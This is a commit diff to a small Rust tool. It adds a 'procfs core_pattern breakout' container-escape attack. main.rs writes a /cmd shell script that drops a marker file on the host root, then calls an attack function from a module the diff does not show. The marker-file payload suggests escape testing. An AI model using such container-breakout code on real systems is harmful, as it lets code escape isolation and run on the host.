add procfs core_pattern breakout

Cargo.toml

@@ -4,3 +4,4 @@ version = "0.1.0"
 edition = "2021"
 
 [dependencies]
+nix = { version = "0.29.0", features = ["sched", "hostname", "mount"] }

src/main.rs

@@ -1,3 +1,33 @@
-fn main() {
-    println!("Hello, world!");
+use std::{io::Write, os::unix::fs::PermissionsExt};
+
+use attacks::procfs::procfs_breakout;
+
+mod attacks;
+
+fn main() -> Result<(), std::io::Error> {
+    let args: Vec<String> = std::env::args().collect();
+    let host_root = &args[1].trim_end_matches("/");
+    println!("Breakout prelude");
+    prelude(host_root)?;
+    println!("procfs breakout");
+    println!("{:?}", procfs_breakout(host_root));
+
+    Ok(())
+}
+
+fn prelude(host_root: &str) -> Result<(), std::io::Error> {
+    let mut cmd = std::fs::File::create("/cmd")?;
+    cmd.metadata()?.permissions().set_mode(0o777);
+
+    cmd.write_all(
+        format!(
+            r#"#!/bin/sh
+echo "true" > {}/breakout
+"#,
+            host_root
+        )
+        .as_bytes(),
+    )?;
+
+    Ok(())
 }